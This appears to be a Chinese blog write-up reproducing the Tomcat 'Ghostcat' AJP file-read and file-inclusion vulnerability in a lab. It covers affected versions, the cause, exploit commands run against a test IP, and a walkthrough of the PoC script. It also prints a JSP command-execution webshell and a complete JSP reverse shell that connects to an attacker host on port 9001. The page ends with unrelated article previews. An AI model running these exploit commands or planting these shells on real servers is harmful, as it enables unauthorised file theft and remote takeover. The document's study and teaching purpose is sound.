Tomcat- AJP协议文件读取/命令执行漏洞(幽灵猫复现)详细步骤
一、漏洞描述
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).
二、危险等级
高危
三、漏洞危害
攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害
四、影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
五、前提条件
对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。
六、漏洞原理
Tomcat 配置了两个Connector,Connector组件的主要职责就是负责接收客户端连接和客户端请求的处理加工。它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致。
攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
浏览器不能直接支持AJP协议。所以实际通过Apache的proxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问
相关的配置文件在conf/server.xml。
构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。
文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。
七、部署靶机环境
靶机:ubuntu22.04
配置:可以看看这个,无脑操作(当然可以使用docker)
在 Ubuntu 20.04 上安装 Apache Tomcat 教程 - Bandwagonhost中文网-Bandwagonhost中文网
攻击机:Linux kali2023
八、复现过程
1、探测IP
2、任意文件读取
下载Exp:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi/chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
读取文件内容(-f后即是指定的文件):
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f WEB-INF/web.xml
Python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f index.jsp
3.任意文件包含(这个需要结合文件上传漏洞)
这里自己上传了一个木马到ROOT目录:test.txt
脚本内容:
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
访问一下是可达的
修改Poc:
主要是这,将/asdf改成/asdf.jspx
执行脚本
python2 cvefileinclude.py 192.168.155.184 -p 8009 -f test.txt
成功
尝试反弹shell:
脚本:
<%@page import="java.lang.*, java.util.*, java.io.*, java.net.*"%><%try {String host = "192.168.155.166";int port = 9001;Socket socket = new Socket();socket.connect(new InetSocketAddress(host, port), 2000);Process process;if (System.getProperty("os.name").toLowerCase().contains("win")) {process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();} else {process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();}InputStream pin = process.getInputStream();InputStream perr = process.getErrorStream();OutputStream pout = process.getOutputStream();InputStream sin = socket.getInputStream();OutputStream sout = socket.getOutputStream();while(!socket.isClosed()) {while(pin.available() > 0) sout.write(pin.read());while(perr.available() > 0) sout.write(perr.read());while(sin.available() > 0) pout.write(sin.read());sout.flush();pout.flush();}process.destroy();socket.close();} catch (Exception e) {}%>
九、POC解析
(一)引入的包及作用
1、struct:用于处理二进制数据,AJP协议基于二进制
2、socket:建立与Tomcat服务器的AJP端口的TCP连接,发送构造的恶意请求并接收响应。
3、argparse:解析命令行参数
4、StringIO(隐式引入):在AjpForwardRequest.parse() 中,用于将二进制数据流转换为类文件对象,便于流式解析
(二)函数
Pack_strings:函数
将字符串 s 按特定二进制格式序列化:[2字节长度] + [字符串字节数据] + [1字节的0]
>h: 表示大端(Big-endian)的有符号短整数(2字节)
>H:大端的无符号短整数(2字节)
%ds:动态长度的字节串(例如 5s 表示 5 字节),对应 s 的 UTF-8 编码数据。
b:一个有符号字节(1字节),固定为 0
大端序是最高有效字节在前,小端是最低有效字节在前。AJP协议是基于TCP的,而网络传输通常采用大端序,也就是网络字节序。同时Tomcat AJP协议(Apache JServ Protocol)明确要求所有字段以大端序编码,且字符串以 \0
结尾
Unpack函数
解包二进制数据,返回一个元组
计算需要读取的字节数à读取字节à按照格式解析读取到的字节
unpack_string函数
从二进制流中解析 AJP 协议格式字符串,记住前两个字节表示整个字节流的长度
(三)类
AjpBodyRequest类
处理客户端与服务器之间的数据传输
数据传输方向:
读取字节à空则返回数据头,非空则添加数据长度à根据方向拼接数据并返回
循环发送数据块 → 等待服务器指令 → 根据指令决定是否继续发送
GET_BODY_CHUNK:表示对方要求发送下一个数据块(用于分片传输)。
SEND_HEADERS:表示对方已发送响应头,需结束数据传输。
len(data) == 4:表示空包
AjpForwardRequest类
构造和发送AJP请求到目标服务器
分配数值标识符,AJP协议要求将HTTP方法以数值而不是字符串形式传输
后面定义标准请求头和请求属性
SC_REQ:该头是 AJP协议预定义的标准头
区分预定义头和自定义头,将HTTP请求头按AJP协议规范序列化为二进制数据
若属性名为req_attribute,表示这是一个嵌套属性,其值需拆分为两个部分(名,值)à打包属性(名)值。看到这里可以基本明白漏洞原理。
AJP 协议未对 javax.servlet.include.* 属性进行安全校验,攻击者通过伪造请求头实现 路径穿越。通过设置req_attribute 属性,注入恶意路径,触发 Tomcat 解析任意文件,从而泄露敏感信息。例如:{'name':'req_attribute', 'value':['javax.servlet.include.path_info', 'WEB-INF/web.xml']},
在属性列表末尾添加 0xFF,表示 属性序列结束
Serialize函数:生成二进制数据包
Parse函数:解析接收到的AJP协议数据包,将其转换为结构化的请求对象
send_and_receive函数:处理AJP协议的请求发送和响应接收
参数传入
/asdf 是用于触发 AJP 文件包含漏洞的任意路径,实现路径覆盖,访问目标文件
相关文章:

Tomcat- AJP协议文件读取/命令执行漏洞(幽灵猫复现)详细步骤
一、漏洞描述 Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应…...

B1、进度汇报(— 25/05/31)
本文档汇总了各成员在 2025 年 5 月 11 日 ~ 5 月 31 日完成的工作。我们遇到了进度问题(收工后需反思): 本学期第十四周(05/19 ~ 05/25)有相当多课程需要提交实验结果或上台展示。本学期第十六周(06/02 ~…...
工作流引擎-11-开源 BPM 项目 jbpm
工作流引擎系列 工作流引擎-00-流程引擎概览 工作流引擎-01-Activiti 是领先的轻量级、以 Java 为中心的开源 BPMN 引擎,支持现实世界的流程自动化需求 工作流引擎-02-BPM OA ERP 区别和联系 工作流引擎-03-聊一聊流程引擎 工作流引擎-04-流程引擎 activiti 优…...
【Prompt Engineering】摸索出的一些小套路
prompt 优化方法 🔹 1. 通用结构模板 模块化的Prompt:Prompt 划分成边界清晰的模块,不同模块间都应有明确的分隔符 以下是通用 Prompt 的推荐结构: [角色设定] [任务描述] [输出格式要求] [补充上下文]角色设定:…...
CSS强制div单行显示不换行
在CSS中,要让<div>的内容强制单行显示且不换行,可通过以下属性组合实现: 核心解决方案: css 复制 下载 div {white-space: nowrap; /* 禁止文本换行 */overflow: hidden; /* 隐藏溢出内容 */text-overflow: e…...
js的时间循环的讲解
JavaScript 事件循环(Event Loop)是其运行时的核心机制,负责处理异步操作,确保单线程的 JavaScript 能够高效地处理并发任务。下面从多个角度详细解析事件循环机制: 1. 核心概念 (1)执行栈(Call Stack) 定义:JavaScript 是单线程的,所有同步任务都在执行栈中依次执…...

Flutter实现不规则瀑布流布局拖拽重排序
因为业务,所以需要用flutter去实现一种不规则图形的瀑布流,但是同时需要支持拖拽并重新排序。效果类似如下。 查询过现有的插件,要么是仅支持同样大小的组件进行排序,要么就是动画效果不是很满意,有点死板,…...

【第4章 图像与视频】4.1 图像的绘制
文章目录 前言在 Canvas 之中绘制图像drawImage() 方法的用法 前言 drawImage() 方法可以将一幅图像的整体或某个部分绘制到 canvas 内的任何位置上,并且允许开发者在绘制过程中对图像进行缩放。也可以将图像绘制在离屏 canvas 中,这样的话就可以对图像…...
苹果应用开发详细教程(2025最新版)
苹果应用开发详细教程(2025最新版) 第一阶段:开发环境搭建 硬件准备 Mac电脑(macOS Monterey 12或更高版本)iPhone/iPad(真机调试建议iOS 16+)软件安装 # 通过App Store安装Xcode xcode-select --installXcode 15+(包含Swift 5.9编译器)安装CocoaPods(依赖管理工具)…...

G25-05-31Rust开源项目日报 Top10
根据Github Trendings的统计,今日(2025-05-31统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Rust项目10TypeScript项目1Pake: 利用 Rust 轻松构建轻量级多端桌面应用 创建周期:491 天开发语言:Rust协议类型:MIT LicenseStar数量:2095…...
2025年主流编程语言全面分析与学习指南
文章目录 2025年主流编程语言全面分析与学习指南目录简介Python优势局限性学习路径适合人群 JavaScript优势局限性学习路径适合人群 Java优势局限性学习路径适合人群 C优势局限性学习路径适合人群 Rust优势局限性学习路径适合人群 Swift优势局限性学习路径适合人群 Go优势局限性…...

window安装nginx
步骤1:下载Nginx for Windows 访问Nginx官网下载页面:https://nginx.org/en/download.html 在Stable version(稳定版)下找到Windows版本,点击下载.zip文件(如 nginx-1.28.0.zip) 步…...

ArcGIS Pro裁剪影像
方法1: 工具箱中,数据管理工具-栅格-栅格处理-裁剪栅格 注意:勾选上使用输入要素裁剪几何 方法2: 按掩膜提取工具裁剪栅格:在工具箱中,Spatial Analyst工具-提取分析-按掩膜提取...

[智能算法]蚁群算法原理与TSP问题示例
目录 编辑 一、生物行为启发的智能优化算法 1.1 自然界的群体智能现象 1.2 人工蚁群算法核心思想 二、算法在组合优化中的应用演进 2.1 经典TSP问题建模 2.2 算法流程优化 三、TSP问题实战:Python实现与可视化 3.1 算法核心类设计 3.2 参数敏感性实验 3.3 可视化…...
Vue-4-前端框架Vue基础入门之Vue的常用操作
文章目录 1 VUE1.1 文件结构1.2 定义和显示变量1.2.1 ref函数1.2.2 reactive函数1.3 定义方法1.3.1 方式一1.3.2 方式二1.3.3 方式三1.4 循环遍历1.5 watch1.5.1 监听ref1.5.2 监听reactive1.6 生命周期函数1.7 配置文件2 问题及解决2.1 lack permissions2.2 npm run dev! Miss…...
ubuntu国内镜像源手动配置
备份当前源列表 打开终端,执行以下命令备份当前的源列表: sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup 编辑源列表文件 使用文本编辑器编辑/etc/apt/sources.list文件,例如使用nano: sudo vim /etc/apt/sou…...
21-CS61B-lab6:java文件操作以及持久化一见
文件操作 这里的文件操作主要通过File类,Serializable的派生类等实现 拥有路径path(相对路径/绝对路径),创建File对象 File newFile new File(path); 获得当前工作目录File File CWD new File(System.getProperty("user.dir")); 通过S…...
⚡️ Linux 系统安装与配置 Git
⚡️ Linux 系统安装与配置 Git 📘 1. Git 简介 Git 是目前世界上最流行的分布式版本控制系统,他能高效地处理从小型到大型项目的版本管理需求,是现代软件开发流程中的核心工具之一。 在企业环境中,大多数公司通常会在 Linux 服…...
SpringBoot 自动装配原理深度解析:从源码到实践
SpringBoot 自动装配原理深度解析:从源码到实践 SpringBoot 作为现代 Java 开发的事实标准,其核心优势之一是 “约定大于配置” 的自动装配机制。本文将从源码层面深入解析 SpringBoot 自动装配的实现原理,并通过代码示例展示其工作流程。 …...

【Go语言】Fyne GUI 库使用指南 (面向有经验开发者)
引言 Fyne 是一个使用 Go 语言编写的、易于使用的跨平台 GUI 工具包和应用程序 API。它旨在通过单一代码库构建在桌面和移动设备上运行的应用程序。本文档面向有一定 Go 语言开发经验的开发者,将详细介绍 Fyne 最新版的核心功能,包括基础组件、布局系统…...
Nginx Lua模块(OpenResty)实战:动态化、智能化你的Nginx,实现复杂Web逻辑 (2025)
更多服务器知识,尽在hostol.com 嘿,各位Nginx的“铁杆粉丝”和“配置大师”们!咱们都知道,Nginx以其超凡的性能、稳定性和丰富的模块化功能,在Web服务器、反向代理、负载均衡等领域独步青云,简直是服务器软…...

openssl 怎么生成吊销列表
mkdir test cd test # 根据 /usr/lib/ssl/openssl.cnf 配置文件中目录结构可知有个demoCA目录,目录下有各种文件。 mkdir ./demoCA ./demoCA/newcerts ./demoCA/private sudo chmod 777 -R ./demoCA/ echo 01 > ./demoCA/serial touch ./demoCA/index.txt # /usr…...
Go语言包的组织与导入 -《Go语言实战指南》
在 Go 语言中,包(Package) 是管理代码模块化、复用性与可维护性的核心单位。本章将讲解如何组织包结构、如何导入其他包、以及项目中的最佳实践。 一、什么是包? • 每个 .go 文件都属于某个包(通过 package 声明&…...

springboot-响应接收与ioc容器控制反转、Di依赖注入
1.想将服务器中的数据返回给客户端,需要在controller类上加注解:ResponseBody; 这个注解其实在前面已经使用过,RestController其实就包含两个注解: Controller ResponseBody 返回值如果是实体对象/集合,将会转换为j…...
CSP使用严格设置
文章目录 说明示例 说明 日期:2025年6月2日。 内容安全政策(MPS)是一个额外的安全层,有助于检测和缓解某些类型的攻击。包括(但不限于)跨站点脚本(XSS)和数据注入攻击。这些攻击用…...

Spring代理工厂类ProxyFactory作用以及实现原理
代理工厂类ProxyFactory AdvisedSupport(代理配置信息类)ProxyFactory(代理工厂类)小结测试 源码见:mini-spring 在 AOP(面向切面编程)中,Spring 支持两种常见的代理机制:…...
SpringBoot使用MQTT协议简述
在 Spring Boot 中使用 MQTT 协议连接硬件设备,可以通过以下步骤实现。这里以 Eclipse Paho MQTT 客户端为例: 1. 添加 Maven 依赖 <dependencies><!-- Spring Boot Starter --><dependency><groupId>org.springframework.boo…...
【GraphQL】深入解析 Apollo Client:从架构到实践的一站式 GraphQL 解决方案
深入解析 Apollo Client:从架构到实践的一站式 GraphQL 解决方案 1. 引言 GraphQL 作为现代 API 开发的核心技术,其灵活性和高效性正在重塑数据交互模式。Apollo Client 作为 GraphQL 生态中最受欢迎的客户端库,凭借强大的缓存机制、框架集…...

集成电路制造设备防震基座选型指南:为稳定护航-江苏泊苏系统集成有限公司
集成电路制造设备防震基座选型指南:为稳定护航 在集成电路制造这一精密复杂的领域,每一个环节都如同精密仪器中的微小齿轮,一丝偏差都可能导致严重后果。制造设备的稳定运行更是重中之重,而防震基座作为守护设备稳定的第一道防线…...

华为OD机试真题——阿里巴巴找黄金宝箱(II)(2025A卷:100分)Java/python/JavaScript/C/C++/GO最佳实现
2025 A卷 100分 题型 本专栏内全部题目均提供Java、python、JavaScript、C、C++、GO六种语言的最佳实现方式; 并且每种语言均涵盖详细的问题分析、解题思路、代码实现、代码详解、3个测试用例以及综合分析; 本文收录于专栏:《2025华为OD真题目录+全流程解析+备考攻略+经验分…...